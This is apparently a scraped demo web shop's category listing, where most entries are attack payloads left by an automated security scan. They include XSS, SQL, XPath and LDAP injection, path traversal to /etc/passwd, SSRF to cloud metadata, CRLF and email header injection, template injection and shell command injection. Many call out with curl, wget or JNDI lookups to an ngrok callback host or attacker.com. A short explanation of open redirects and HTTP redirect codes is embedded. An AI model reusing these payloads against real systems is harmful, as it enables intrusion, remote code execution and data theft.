Emir's Shop

Clothes

Love is light

Shoes

Miscellaneous

Testing Category

Home & kitchen

Sports & Outdoors

Grosery

Computer Category

Updated Category

New Category By Guga c03c3973-8d7d-424b-b633-4ae481687bb0

New category

=DDE("cmd","/c calc","")

victim@test.com%0aCc:attacker@evil.com

victim@test.com%0aBcc:attacker@evil.com

victim@test.com%0d%0aCc:attacker@evil.com

victim@test.com%0d%0aBcc:attacker@evil.com

victim@test.com\nCc:attacker@evil.com

$victim@test.com\nCc:attacker@evil.com$

victim@test.com\r\nBcc:attacker@evil.com

$victim@test.com\r\nBcc:attacker@evil.com$

victim@test.com Subject:Phishing Email

victim@test.com%0aSubject:URGENT-Password Reset

victim@test.com%0aContent-Type:text/html

victim@test.com%0aFrom:admin@legitimate.com

victim@test.com%0aReply-To:attacker@evil.com

victim@test.com%0aX-Mailer:EvilMailer

victim@test.com%0aReturn-Path:attacker@evil.com

victim@test.com%0aMIME-Version:1.0%0aContent-Type:multipart/mixed;boundary=evil

Updated New Categories 32

victim@test.com%0aContent-Disposition:attachment;filename=evil.exe

victim@test.com>,attacker@evil.com<

"victim@test.com Cc:attacker@evil.com"

victim@test.com%00attacker@evil.com

victim@test.com%0aX-Priority:1

victim@test.com%0aImportance:high

victim@test.com%0aDisposition-Notification-To:attacker@evil.com

victim@test.com%0aList-Unsubscribe:<http://attacker.com>

victim@test.com%0aX-Originating-IP:127.0.0.1

victim@test.com%0aReceived:from attacker.com

victim@test.com%0aMessage-ID:<evil@attacker.com>

victim@test.com%0aDate:Mon,01Jan200100:00:00+0000

victim@test.com%0aIn-Reply-To:<original@legitimate.com>

\textbf{LATEX_PROBE_MARKER}

$\textbf{LATEX_PROBE_MARKER}$

$7 \times 7 = 49$

admin%0d%0a[INFO] User logged in successfully

\input{/etc/passwd}

$\input{/etc/passwd}$

test\n[CRITICAL] System compromised

$test\n[CRITICAL] System compromised$

\include{/etc/passwd}

$\include{/etc/passwd}$

${jndi:ldap://attacker.com/a}

\openin\file=/etc/passwd \read\file to\line \line \closein\file

$\openin\file=/etc/passwd \read\file to\line \line \closein\file$

\lstinputlisting{/etc/passwd}

$\lstinputlisting{/etc/passwd}$

\verbatiminput{/etc/passwd}

$\verbatiminput{/etc/passwd}$

\catcode`\$=\other \input{/etc/shadow}

$\catcode`\$=\other \input{/etc/shadow}$

\url{file:///etc/passwd}

$\url{file:///etc/passwd}$

\href{file:///etc/passwd}{click}

$\href{file:///etc/passwd}{click}$

\typeout{\input{/etc/hostname}}

$\typeout{\input{/etc/hostname}}$

$\mathrm{\input{/etc/passwd}}$

\csname @@input\endcsname{/etc/passwd}

$\csname @@input\endcsname{/etc/passwd}$

invalid_test_value_xyz_12345

param=value%00&admin=true

input_passwd

include_passwd

lstinput_passwd

${jndi:rmi://attacker.com/a}

verbatim_passwd

\\input{/etc/hostname}

$\\input{/etc/hostname}$

input_hostname

\\input{C:/Windows/win.ini}

$\\input{C:/Windows/win.ini}$

input_winini

\\newread\\file \\openin\\file=/etc/passwd \\read\\file to\\line \\line \\closein\\file

$\\newread\\file \\openin\\file=/etc/passwd \\read\\file to\\line \\line \\closein\\file$

openin_passwd

\\catcode`\\$=12 \\input{/etc/passwd}

$\\catcode`\\$=12 \\input{/etc/passwd}$

catcode_bypass_input

\write18{id}

$\write18{id}$

аԁmіn

аdmin

%3Cscript%3Ealert(1)%3C/script%3E

%253Cscript%253Ealert(1)%253C/script%253E

<script>alert(1)</script>

\x3Cscript\x3Ealert(1)\x3C/script\x3E

$\x3Cscript\x3Ealert(1)\x3C/script\x3E$

%c0%bc%c0%bc%c0%bcscript%c0%be

JTNDc2NyaXB0JTNFYWxlcnQoMSklM0Mvc2NyaXB0JTNF

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

' AND 1=1--

%27%20AND%201=1--

' AN%44 1=1--

..%2f..%2f..%2fetc%2fpasswd

..%252f..%252f..%252fetc%252fpasswd

..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

<ScRiPt>alert(1)</ScRiPt>

<scr<script>ipt>alert(1)</scr</script>ipt>

<script/src=data:,alert(1)>

java%00script:alert(1)

javascript:alert(1)

\74script\76alert(1)\74/script\76

$\74script\76alert(1)\74/script\76$

%uff1cscript%uff1ealert(1)%uff1c/script%uff1e

\u003Cscript\u003Ealert(1)\u003C/script\u003E

$\u003Cscript\u003Ealert(1)\u003C/script\u003E$

[object Object]

<svg/onload=alert(1)>

jav	ascript:alert(1)

jav
ascript:alert(1)

../../../etc/passwd

..\..\..\windows\win.ini

$..\..\..\windows\win.ini$

<iframe src="http://127.0.0.1/" width="800" height="600"></iframe>

<img src="http://169.254.169.254/latest/meta-data/">

<link rel="stylesheet" href="http://127.0.0.1:8080/">

<script>document.write(new Image().src="http://127.0.0.1/")</script>

..%2f..%2f..%2fetc/passwd

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

<object data="http://127.0.0.1/"></object>

<embed src="http://127.0.0.1/"></embed>

..%252f..%252f..%252fetc/passwd

file:///etc/passwd

..%c0%af..%c0%af..%c0%afetc/passwd

..%255c..%255c..%255cwindows/win.ini

800

600

iframe_file_passwd

file:///etc/hostname

img_file_hostname

stylesheet

css_file_passwd

object_file_passwd

file:///C:/Windows/win.ini

iframe_file_winini

GET

xhr_file_read

payload

color:red;font-size:72px

technique

html_heading

html_table_breakout

http://evil.com/phish

<svg><style><img src=x onerror=alert('mxss51c108b3')>

<svg><style><img src=x onerror=alert('mxss9e0667ae')>

test%0d%0aSet-Cookie:session=malicious

test%0d%0aX-Injected:true

test%0aSet-Cookie:session=malicious

test%0d%0a%0d%0a<html>injected</html>

normaltext123

${{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}$

${{config.__class__.__init__.__globals__['os'].popen('id').read()}}$

${{''.__class__.__mro__[2].__subclasses__()}}$

${{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}$

{{request.application.globals.builtins.import('os').popen('id').read()}}

${{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}$

${{cycler.__init__.__globals__.os.popen('id').read()}}$

${{joiner.__init__.__globals__.os.popen('id').read()}}$

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

${"freemarker.template.utility.Execute"?new()("id")}

[[${T(java.lang.Runtime).getRuntime().exec('id')}]]

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec('id')}

#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

$class.inspect('java.lang.Runtime').type.getRuntime().exec('id')

<%= system('id') %>

<%= `id` %>

<%= IO.popen('id').read %>

{{self.init.globals.builtins['eval']('import("os").popen("id").read()')}}

${{self.__init__.__globals__.__builtins__['eval']('__import__("os").popen("id").read()')}}$

${{lipsum.__globals__.os.popen('id').read()}}$

${{namespace.__init__.__globals__.os.popen('id').read()}}$

${{url_for.__globals__['os'].popen('id').read()}}$

${{get_flashed_messages.__globals__['os'].popen('id').read()}}$

a]{{7*7}}

${{<%[%'"}}%\.

$${{<%[%'"}}%\.$

{"$gt": undefined}

normalvalue123

username[$ne]=admin&password[$ne]=

{% import os %}{{ os.popen("curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/3db47f9319b165866842/ssti").read() }}

${"https://uncloyed-eden-soughfully.ngrok-free.dev/i/3db47f9319b165866842/ssti"?url?content}

#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/3db47f9319b165866842/ssti"))$ex.waitFor()

{{["curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/3db47f9319b165866842/ssti"]|filter("system")}}

<%= `curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/3db47f9319b165866842/ssti` %>

{% import os %}{{ os.popen("curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/2a544708a7ae7cb7d245/ssti").read() }}

${"https://uncloyed-eden-soughfully.ngrok-free.dev/i/2a544708a7ae7cb7d245/ssti"?url?content}

#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/2a544708a7ae7cb7d245/ssti"))$ex.waitFor()

{{["curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/2a544708a7ae7cb7d245/ssti"]|filter("system")}}

<%= `curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/2a544708a7ae7cb7d245/ssti` %>

test\r\nSet-Cookie:pwned=1

$test\r\nSet-Cookie:pwned=1$

test%E5%98%8A%E5%98%8DSet-Cookie:test=1

test%0d%0aLocation:https://attacker.com

testX-Forwarded-For: 127.0.0.1

testX-Forwarded-Host: attacker.com

testX-Original-URL: /admin

testHost: attacker.com

test%0d%0aAccess-Control-Allow-Origin:*

testX-HTTP-Method-Override: DELETE

test%0d%0aTransfer-Encoding:chunked

test/%%0a0aSet-Cookie:crlf=injection

test/%0aSet-Cookie:crlf=injection

test/%0d%0aSet-Cookie:crlf=injection

test/%0dSet-Cookie:crlf=injection

test/%23%0aSet-Cookie:crlf=injection

{"$gt": ""}

${"$gt": ""}$

test/%23%0d%0aSet-Cookie:crlf=injection

test/%23%0dSet-Cookie:crlf=injection

test/%25%30%61Set-Cookie:crlf=injection

test/%25%30aSet-Cookie:crlf=injection

test/%250aSet-Cookie:crlf=injection

test/%25250aSet-Cookie:crlf=injection

test/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection

test/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection

test/%2F..%0d%0aSet-Cookie:crlf=injection

test/%3f%0d%0aSet-Cookie:crlf=injection

test/%3f%0dSet-Cookie:crlf=injection

test/%u000aSet-Cookie:crlf=injection

testHost: evil.com

testX-Forwarded-Host: evil.com

testX-Forwarded-For: 127.0.0.1 X-Injected-Header: evil

testReferer: javascript:alert(1)

testUser-Agent: <script>alert(1)</script>

{"$gt": ""}

${"$gt": ""}$

testX-Original-URL: /admin/dashboard

testX-Rewrite-URL: /admin

testX-Custom-IP-Authorization: 127.0.0.1

testHost: localhost Host: target.com

testX-Forwarded-Proto: http

testConnection: keep-alive Transfer-Encoding: chunked

testAccept-Language: en Set-Cookie: admin=true

testX-Debug: true

testX-Forwarded-Port: 443 X-Forwarded-Scheme: https

testVia: 1.1 evil-proxy

<script>alert('xss5dda050a')</script>

<script>alert('xss2635dfcd')</script>

<script>alert('SO2ND_xss_489e2fbf'+'XSS')</script>

<script>alert('SO2ND_xss_087fceff'+'XSS')</script>

' or '1'='1

' or ''='

x' or name()='username' or 'x'='y

'] | //user/[contains(,'

' and count(/*)=1 and 'a'='a

' and string-length(name(/*[1]))=4 and 'a'='a

' and substring(name(/*[1]),1,1)='n' and 'a'='a

x]|//*[

' or 1=1 or ''='

admin' or '1'='1' or 'x'='y

x']//password | a]

x]/*[1]

' or contains(.,'admin')

1. Size of a string

2. Access a character with `substring`, and verify its value the `codepoints-to-string` function

ps1 string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())

sql substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

powershell http://example.com/?title=Foundation&type=&rent_days= and doc('//10.10.10.10/SHARE')

FROM User WHERE id=1 OR 1=1

' and '

' AND SUBSTRING(username,1,1)='a

1' or '1

' AND (SELECT COUNT(*) FROM User)>0--

' UNION SELECT null FROM User--

invalid_function()

' UNION SELECT username,password FROM User--

' or invalid()='

test') OR ('1'='1

' or 1=string('a')='

FROM User u WHERE u.name LIKE '%test%' OR '1'='1'

' or number('x')=1 or '

' AND LENGTH(password)>5--

' or //*[namespace-uri()='http://test']='

' OR id BETWEEN 1 AND 1000--

' or exists(//*) or '

' or doc('http://evil.com')='

' ORDER BY 1--

' ORDER BY 100--

'; DELETE FROM User WHERE '1'='1

' or '1'='2

' AND (SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END)='a

FROM User WHERE role='admin' OR '1'='1

' or 1=2 or '

' AND ASCII(SUBSTRING(password,1,1))>96--

1 or 1=1

FROM User u JOIN u.roles r WHERE r.name='ADMIN'

1 or 1=2

test' AND 1=CAST((SELECT TOP 1 username FROM users) AS int)--

' or 'a'='a

' or 'a'='b

' GROUP BY username HAVING 1=1--

\x00

$\x00$

' or string-length('a')=1 or '

' AND CURRENT_TIMESTAMP IS NOT NULL--

FROM User WHERE email=:param OR 1=1

' or string-length('a')=2 or '

test'; UPDATE User SET role='admin' WHERE username='attacker'--

' or count(/*)>0 or '

' AND (SELECT COUNT(*) FROM information_schema.tables)>0--

' or count(/*)>999999 or '

FROM #{entityName} WHERE id=1

' or //* or '

' or /nonexistent or '

(CASE WHEN (1=1) THEN 1 ELSE 1/0 END)

' or position()=1 or '

name,(SELECT 1 FROM information_schema.tables)

' or position()=999999 or '

' or name()!='' or '

*))%00

' or name()='nonexistent' or '

*()|%26'

hql_boolean

New category' or '1'='1

New category' or '1'='2

(|(mail=))

admin' or '1'='1' or 'x'='

admin' or '1'='2' or 'x'='

(|(objectclass=))

numeric_boolean

)(uid=))(|(uid=*

' OR LENGTH(username)>0 --

' or true() or '

' or false() or '

hql_length_boolean

name ASC

name DESC

' or exists(/nonexistent) or '

orderby_direction

1

admin*

99999

admin)((|userpassword=)

orderby_column_index

' or doc('https://uncloyed-eden-soughfully.ngrok-free.dev/i/17099ef6e142c651c437')='

' UNION SELECT u.password FROM User u--

' AND SUBSTRING(u.password,1,1)='a

1) or doc('https://uncloyed-eden-soughfully.ngrok-free.dev/i/17099ef6e142c651c437') or (1

' OR u.role='ADMIN

' or unparsed-text('https://uncloyed-eden-soughfully.ngrok-free.dev/i/17099ef6e142c651c437')='

admin' AND '1'='1

' or saxon:parse('https://uncloyed-eden-soughfully.ngrok-free.dev/i/17099ef6e142c651c437')='

' AND 1=CAST((SELECT version()) AS int)--

)(cn=

' or doc('https://uncloyed-eden-soughfully.ngrok-free.dev/i/2c8f5da5906aed1a3f25')='

1) or doc('https://uncloyed-eden-soughfully.ngrok-free.dev/i/2c8f5da5906aed1a3f25') or (1

' or unparsed-text('https://uncloyed-eden-soughfully.ngrok-free.dev/i/2c8f5da5906aed1a3f25')='

' or saxon:parse('https://uncloyed-eden-soughfully.ngrok-free.dev/i/2c8f5da5906aed1a3f25')='

cn=*,dc=

cn=test,

,dc=com

admin%00

*)(|(cn=nonexistent12345)

*)(&(objectClass=nonexistent12345)

nonexistent12345xyz

New categorynonexistent12345

New category)(|(cn=*)

New category)(|(cn=nonexistent12345)

New category)(|(objectClass=*)

New category)(|(objectClass=nonexistent12345)

)(uid=

*)(uid=nonexistent12345

*)(mail=nonexistent12345@nonexistent.com

)(&(|(cn=)(sn=*))

*)(&(|(cn=nonexistent12345)(sn=nonexistent12345))

k224783 Noor

x)(|(objectClass=*)

)(memberOf=cn=admin)

x))(|(mail=*@target.com)

)(telephoneNumber=)

*))(objectClass=user

//attacker.com

https://target.com@attacker.com

javascript:alert(1)

data:text/html,<script>alert(1)</script>

admin)(&(password=a*))

https:attacker.com

admin)(&(password=b*))

*)(${jndi:ldap://uncloyed-eden-soughfully.ngrok-free.dev/a}

*)(${jndi:rmi://uncloyed-eden-soughfully.ngrok-free.dev/a}

*)(objectClass=${jndi:ldap://uncloyed-eden-soughfully.ngrok-free.dev/}

https://targetcom.attacker.com

%2f%2fattacker.com

https://аttacker.com

https://127.0.0.1

https://169.254.169.254

gopher://attacker.com

dict://attacker.com

An attacker could exploit an open redirect here by replacing the `userpreferredsite.com` with a link to a malicious website. They could then distribute this link in a phishing email or on another website. When users click the link, they're taken to the malicious website.

HTTP Redirection status codes, those starting with 3, indicate that the client must take additional action to complete the request. Here are some of the most common ones:

* [300 Multiple Choices](https://httpstatuses.com/300) - This indicates that the request has more than one possible response. The client should choose one of them.

* [301 Moved Permanently](https://httpstatuses.com/301) - This means that the resource requested has been permanently moved to the URL given by the Location headers. All future requests should use the new URI.

* [302 Found](https://httpstatuses.com/302) - This response code means that the resource requested has been temporarily moved to the URL given by the Location headers. Unlike 301, it does not mean that the resource has been permanently moved, just that it is temporarily located somewhere else.

* [303 See Other](https://httpstatuses.com/303) - The server sends this response to direct the client to get the requested resource at another URI with a GET request.

* [304 Not Modified](https://httpstatuses.com/304) - This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response.

* [305 Use Proxy](https://httpstatuses.com/305) - The requested resource must be accessed through a proxy provided in the Location header.

* [307 Temporary Redirect](https://httpstatuses.com/307) - This means that the resource requested has been temporarily moved to the URL given by the Location headers, and future requests should still use the original URI.

* [308 Permanent Redirect](https://httpstatuses.com/308) - This means the resource has been permanently moved to the URL given by the Location headers, and future requests should use the new URI. It is similar to 301 but does not allow the HTTP method to change.

Instead of query parameters, redirection logic may rely on the path:

* Using slashes in URLs: `https://example.com/redirect/http://malicious.com`

//evil.com

https:evil.com

//evil.com%00.trusted.com

https://attacker.com#@target.com

//attacker.com/%2f..

/%09/attacker.com

/%0d/attacker.com

/%0a/attacker.com

rfd_test_marker

;whoami

| dir

;cat /etc/passwd

& type C:\Windows\win.ini

$& type C:\Windows\win.ini$

;sleep 5

& ping -n 5 127.0.0.1

;ping -c 5 127.0.0.1

;curl http://attacker.com/?x=$(whoami)

;wget http://attacker.com/?x=$(id)

|nslookup attacker.com

%0aid

%0awhoami

a]|id

;/???/??t /???/p??s??

;/???/b??/w?o?m?

;$'\x69\x64'

$;$'\x69\x64'$

;$(printf '\x69\x64')

$;$(printf '\x69\x64')$

;i]d

${IFS}id

;id${IFS}

;cat$IFS/etc/passwd

| bash -c 'id'

| sh -c 'id'

| powershell -c whoami

;rev<<<'di'|bash

;base64 -d<<<'aWQ='|bash

; curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/50857c3e7b43b6a6ad5a/cmdi #

; wget -q https://uncloyed-eden-soughfully.ngrok-free.dev/i/50857c3e7b43b6a6ad5a/cmdi -O /dev/null #

& nslookup uncloyed-eden-soughfully.ngrok-free.dev &

' UNION SELECT NULL--

' UNION SELECT NULL,NULL--

' UNION SELECT NULL,NULL,NULL--

' UNION SELECT 1,2,3--

' UNION SELECT username,password FROM users--

' UNION ALL SELECT NULL,NULL,NULL,NULL--

1' AND '1'='1

1' AND '1'='2

1' AND '1'='2 AND 1=0

; curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/5bc1e6721114022cf3d8/cmdi #

; wget -q https://uncloyed-eden-soughfully.ngrok-free.dev/i/5bc1e6721114022cf3d8/cmdi -O /dev/null #

1 AND 1=0

;id;echo SO2ND_command_injection_3518f416;

' OR '1'='1/SO2ND_sqli_7a9214c7/

New Category By Guga ab367d04-7c0b-4b40-81fc-161b69afcfb1

' OR '1'='1/SO2ND_sqli_ba32bd20/

;id;echo SO2ND_command_injection_8aae98b4;

; curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/a639f7bff47a0bd4e311/rce #

; wget -q https://uncloyed-eden-soughfully.ngrok-free.dev/i/a639f7bff47a0bd4e311/rce -O /dev/null #

import('os').popen('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/a639f7bff47a0bd4e311/rce').read()

require('child_process').execSync('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/a639f7bff47a0bd4e311/rce')

<?php system('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/a639f7bff47a0bd4e311/rce'); ?>

<?php system('id'); ?>

<?php exec('id'); ?>

<?php passthru('id'); ?>

<?php shell_exec('id'); ?>

<?php popen('id', 'r'); ?>

<?php proc_open('id', [], $pipes); ?>

<?php pcntl_exec('/bin/sh', ['-c', 'id']); ?>

; curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/dc59b9eadd116104d495/rce #

; wget -q https://uncloyed-eden-soughfully.ngrok-free.dev/i/dc59b9eadd116104d495/rce -O /dev/null #

import('os').popen('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/dc59b9eadd116104d495/rce').read()

require('child_process').execSync('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/dc59b9eadd116104d495/rce')

<?php system('curl https://uncloyed-eden-soughfully.ngrok-free.dev/i/dc59b9eadd116104d495/rce'); ?>

<?php assert('system("id")'); ?>

<?php preg_replace('/.*/e', 'system("id")', ''); ?>

<?php create_function('', 'system("id");')(); ?>

<?php array_map('system', ['id']); ?>

<?php call_user_func('system', 'id'); ?>

<?php eval('system("id");'); ?>

import os; os.system('id')

import os; os.popen('id').read()

import subprocess; subprocess.call(['id'])

import('os').system('id')

eval(compile('import os; os.system("id")', '<string>', 'exec'))

exec('import os; os.system("id")')

().class.bases[0].subclasses()[59].init.globals['sys'].modules['os'].system('id')

require('child_process').exec('id')

require('child_process').execSync('id')

require('child_process').spawn('id')

process.mainModule.require('child_process').exec('id')

global.process.mainModule.require('child_process').exec('id')

this.constructor.constructor('return process')().mainModule.require('child_process').exec('id')

Runtime.getRuntime().exec('id')

new ProcessBuilder(['id']).start()

System.Diagnostics.Process.Start('cmd.exe', '/c id')

new System.Diagnostics.ProcessStartInfo('cmd.exe', '/c id')

exec('id')

%x(id)

Open3.capture3('id')

Kernel.system('id')

eval('`id`')

os.execute('id')

io.popen('id'):read('*a')

loadstring('os.execute("id")')

test%0d%0a%0d%0aX-Injected:header: injected

test%0d%0a%0d%0a%0d%0a<script>alert(1)</script>: injected

New Category By Guga 5dfd6f85-b2da-498c-adc4-b2371294342a

New Category By Guga df5e1b36-9f57-4e11-9f01-52cb30768ea9

New Category By Guga a754684e-ada2-40f3-86e8-96b756bb04d4

New Category By Guga efbc234c-389a-44ad-8e23-7de60f3704f6

New Categדדדדory

israel the king

Electronics

test test 222

test shdjashdajksh

New Ctg

New Categories

string

category_B

NEW RELEASED

Product 16 - Demo

Product 25 - Demo

Product 21 - Demo

Product 17 - Demo

Product 23 - Demo

testando

Test Automation Products

Product 24 - Demo

Product 22 - Demo

Product 19 - Demo

Free Shipping

Secure Payments

Customer Care

Best Prices

Categories for you!

Categories for you!

NEW RELEASED

Product 16 - Demo

Product 25 - Demo

Product 21 - Demo

Product 17 - Demo

Product 23 - Demo

testando

Test Automation Products

Product 24 - Demo

Product 22 - Demo

Product 19 - Demo

Clothes

Love is light

Shoes

Miscellaneous

Testing Category

Home & kitchen

Sports & Outdoors

Grosery

Computer Category

Updated Category

New Category By Guga c03c3973-8d7d-424b-b633-4ae481687bb0

New category

=DDE("cmd","/c calc","")

victim@test.com%0aCc:attacker@evil.com

victim@test.com%0aBcc:attacker@evil.com

victim@test.com%0d%0aCc:attacker@evil.com

victim@test.com%0d%0aBcc:attacker@evil.com

victim@test.com\nCc:attacker@evil.com

victim@test.com\r\nBcc:attacker@evil.com

victim@test.com Subject:Phishing Email

victim@test.com%0aSubject:URGENT-Password Reset

victim@test.com%0aContent-Type:text/html

victim@test.com%0aFrom:admin@legitimate.com

victim@test.com%0aReply-To:attacker@evil.com

victim@test.com%0aX-Mailer:EvilMailer

victim@test.com%0aReturn-Path:attacker@evil.com

victim@test.com%0aMIME-Version:1.0%0aContent-Type:multipart/mixed;boundary=evil

Updated New Categories 32

victim@test.com%0aContent-Disposition:attachment;filename=evil.exe

victim@test.com>,attacker@evil.com<

"victim@test.com Cc:attacker@evil.com"

victim@test.com%00attacker@evil.com

victim@test.com%0aX-Priority:1

victim@test.com%0aImportance:high

victim@test.com%0aDisposition-Notification-To:attacker@evil.com

victim@test.com%0aList-Unsubscribe:<http://attacker.com>

victim@test.com%0aX-Originating-IP:127.0.0.1

victim@test.com%0aReceived:from attacker.com

victim@test.com%0aMessage-ID:<evil@attacker.com>

victim@test.com%0aDate:Mon,01Jan200100:00:00+0000

victim@test.com%0aIn-Reply-To:<original@legitimate.com>

\textbf{LATEX_PROBE_MARKER}

$7 \times 7 = 49$

admin%0d%0a[INFO] User logged in successfully

\input{/etc/passwd}

test\n[CRITICAL] System compromised

\include{/etc/passwd}

${jndi:ldap://attacker.com/a}

\openin\file=/etc/passwd \read\file to\line \line \closein\file

\lstinputlisting{/etc/passwd}

\verbatiminput{/etc/passwd}

\catcode`\$=\other \input{/etc/shadow}

<script>alert(1)</script>

<script>alert(1)</script>

javascript:alert(1)

jav ascript:alert(1)

jav
ascript:alert(1)